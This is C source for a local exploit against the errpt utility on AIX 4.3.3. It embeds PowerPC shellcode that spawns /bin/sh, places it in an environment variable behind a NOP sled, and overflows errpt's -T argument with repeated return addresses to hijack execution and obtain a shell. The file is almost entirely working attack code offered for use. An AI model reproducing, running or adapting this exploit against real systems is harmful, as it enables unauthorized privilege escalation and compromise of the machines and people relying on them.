//
// AIX 4.3.3 /usr/bin/errpt Local Exploit
// (Tested on ML9)
//
// darkraver@t0s.org
// 08/10/2003
//

#include <stdlib.h>
#include <stdio.h>

#define 	OFF			0x690
#define 	LEN 		6000
#define		ALIGN		1
#define 	NOP 		0x7ffffb78
#define 	NOPALIGN 	0
#define		NOPLEN		2000


char hell[]= // AIX 4.3.3
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
"\x7f\xe8\x02\xa6"     /* mflr    r31                    */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)           */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
"\x44\xff\xff\x02"     /* svca                           */
"/bin/sh\x03";


int main(int argc, char *argv[]) {
int stack;
int offset=0;
int nopalign=NOPALIGN;
int align=ALIGN;
char buf[NOPLEN+NOPALIGN];
char offs[LEN+ALIGN];
int i;
char *environ[2];

offset=&stack;

offset=offset+OFF;

//offset=0x2ff21330;

printf("OFFSET: %x\n", offset);

memcpy(buf, "SHELLCODE=aaaa", 12);

// OFFS

memset(offs, 0x41, LEN+ALIGN);

for(i=0+align;i<LEN+align;i+=4)
*(int *)&offs[i]=offset;

// NOPS

for(i=12+nopalign;i<NOPLEN-strlen(hell)+nopalign;i+=4)
*(int *)&buf[i]=NOP;

memcpy(buf+NOPLEN-strlen(hell)+nopalign,hell,strlen(hell));

// EXEC

environ[0]=buf;
environ[1]=0;

execle("/usr/bin/errpt", "/usr/bin/errpt", "-T", offs, 0, environ);

return(-1);
}